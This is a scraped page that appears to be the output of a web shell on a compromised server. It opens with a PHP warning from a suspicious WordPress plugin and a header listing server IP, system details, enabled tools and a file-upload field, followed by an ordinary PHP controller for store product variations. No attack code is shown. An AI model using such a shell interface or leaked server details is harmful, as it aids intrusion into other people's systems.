Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/storeVariation/controller/ |
Upload File : |
<?php
class StoreVarAdmin_Controller extends Controller {
private $level;
private $model_variation;
private $model_productvariation;
public function __construct() {
parent::__construct(dirname(__DIR__));
$this->level = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_level'] : 0;
$this->model_variation = $this->LoadModel('variation_model');
$this->model_productvariation = $this->LoadModel('productvariation_model');
hook_add('variation.field.list', [$this, '__report_fields']);
}
public function __Register() {
$this->RegisterView(__CLASS__ .'::product_variation', ['storeclient_variation' => ['store_variation_list', 'store_variation_edit', 'store_variation_popup']]);
$this->RegisterView('StoreAdmin_Controller::product_group', ['storeclient_variation' => ['store_productgroup_popup']]);
$this->RegisterView(__CLASS__ .'::product_variations', ['storeclient_variation' => ['store_variation_tab']]);
$this->RegisterView('StoreAdmin_Controller::store', ['storeclient_variation' => ['store_variation_edit', 'store_variations']]);
}
public function __report_fields($rep) {
$this->model_variation->CustomFields($rep);
}
/** staff */
public function product_variation($action = '') {
$res = $this->DefaultResult(__METHOD__);
$auth = $this->param('auth', '');
if ($auth == '' && $this->isPost) $auth = $this->post('auth', '');
$option_id = hook_execute( 'nonce.verify', FALSE, 'varopt', FALSE, $auth );
$variation_id = hook_execute( 'nonce.verify', FALSE, 'variation', FALSE, $auth );
if (!is_numeric($variation_id) && $option_id === FALSE) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function [1]',
];
}
$this->model_variation->VariationId($variation_id);
switch($action) {
case 'popup-add':
$res['popup'] = $this->model_variation->AsPopupAdd();
$res['popup']['auth'] = hook_execute('nonce.create', FALSE, 'variation', $variation_id, 1800);
break;
case 'popup-post':
if ($this->isPost) {
$this->model_variation->saveOptions($this->post());
$auth = hook_execute('nonce.create', FALSE, 'variation', $variation_id, 1800);
$this->Redirect("/admin/product-variation?auth=$auth");
}
break;
case 'inline-edit':
if (!is_numeric($option_id)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function [2]',
];
}
$newvalue = $this->post('value', '');
$this->model_variation->InlineEdit($option_id, $newvalue);
break;
case 'edit':
case '':
$ok = FALSE;
if ($this->isPost) { // save variation
$ok = $this->model_variation->SaveDetails($_POST);
$variation_id = $this->model_variation->VariationId();
}
$data = $this->model_variation->AsHandlebars2();
foreach($data['sv_option'] as &$item) {
$item['auth'] = hook_execute('nonce.create', FALSE, 'varopt', $item['key'], 1800);
unset($item['key']);
}
$res['auth'] = hook_execute('nonce.create', FALSE, 'variation', $variation_id, 1800);
$res['template'] = 'store_variation_edit';
if ($ok) {
$res['result'] = -9999;
$res['message'] = 'Updated.';
}
return array_merge($res, $data);
case 'reorder':
if ($this->isPost) {
$res = $this->model_variation->Reorder($this->post('items', []));
}
break;
}
return $res;
}
/** staff */
public function product_group_variation($group_id = '', $action = '') {
$res = $this->DefaultResult(__METHOD__);
$this->model_productvariation->GroupId($group_id);
switch($action) {
case 'popup-add':
$id = hook_execute( 'nonce.verify', FALSE, 'progroup', FALSE, $this->param('auth', '') );
if (!is_numeric($id)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
} elseif ($group_id != $id) {
return [
'result' => -3,
'message' => 'Invalid "auth" token',
];
}
$res['popup'] = $this->model_productvariation->AsPopupAdd();
$res['popup']['auth'] = hook_execute('nonce.create', FALSE, 'progroup', $group_id, 1800);
break;
case 'popup-post':
if ($this->isPost) {
$id = hook_execute( 'nonce.verify', FALSE, 'progroup', FALSE, $this->post('auth', '') );
if (!is_numeric($id)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
} elseif ($group_id != $id) {
return [
'result' => -3,
'message' => 'Invalid "auth" token',
];
}
$this->model_productvariation->saveOptions($this->post());
$auth = hook_execute('nonce.create', FALSE, 'progroup', $group_id, 1800);
$this->Redirect("/admin/store/product-group?auth=$auth");
}
break;
case 'reorder':
if ($this->isPost) {
$id = hook_execute( 'nonce.verify', FALSE, 'progroup', FALSE, $this->param('auth', '') );
if (!is_numeric($id)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
} elseif ($group_id != $id) {
return [
'result' => -3,
'message' => 'Invalid "auth" token',
];
}
$this->model_productvariation->Reorder($this->post('items', []));
}
break;
}
return $res;
}
/** staff */
public function product_variations($product_id = '', $action = '') {
$res = $this->DefaultResult(__METHOD__);
if ($product_id != '') {
switch($action) {
case 'tab-variation':
// if no order is present, allow variation to be changed
// list all available permutations, with 'Create...' link
$auth = hook_execute('nonce.create', FALSE, 'product', $product_id, 1800);
$this->model_productvariation
->ModelVariation($this->model_variation) // used to retrieve variation definitions
->ProductId($product_id);
$res['template'] = 'store_variation_tab';
$res['auth'] = $auth;
$data = $this->model_productvariation->AsHandleBars_Product();
$res = array_merge($res, $data);
break;
case 'set-variation':
if ($this->isPost) {
$id = hook_execute( 'nonce.verify', FALSE, 'product', FALSE, $this->post('auth', '') );
if (!is_numeric($id)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
} elseif ($product_id != $id) {
return [
'result' => -3,
'message' => 'Invalid "auth" token',
];
}
$this->model_productvariation
->ModelVariation($this->model_variation) // used to retrieve variation definitions
->ProductId($product_id);
$data = $this->model_productvariation->save($this->post('variation', []));
$res = [
'result' => -9999,
'message' => 'Variation has been saved',
'redirect' => TRUE,
];
}
break;
case 'clone':
$id = hook_execute( 'nonce.verify', FALSE, 'product', FALSE, $this->param('auth', '') );
if (!is_numeric($id)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
} elseif ($product_id != $id) {
return [
'result' => -3,
'message' => 'Invalid "auth" token',
];
}
$model_product = $this->LoadModel('product_model', 'store');
$param = [
'variation' => $_GET['v'] ?? [],
];
$new_id = $model_product->RecordId($id)
->CloneProduct($param);
$res = [
'result' => -9999,
'message' => 'Product has been Cloned',
'redirect' => '/admin/product/' . $new_id . '/edit#variation',
];
break;
}
}
return $res;
}
/** staff */
public function store_variation() {
$res = $this->DefaultResult(__METHOD__);
$res['template'] = 'store_variations';
$model_variation = $this->LoadModel('variation_model');
$rep = new \ReportObject;
hook_execute('variation.field.list', $rep);
$temp = [];
$rep->asDataTablesDefinition($temp);
$res['vtable'] = $temp['datatable'];
$res['vheader'] = $temp['header'];
$res['vauth'] = hook_execute('nonce.create', FALSE, 'variation', 0, 1800);
return $res;
}
}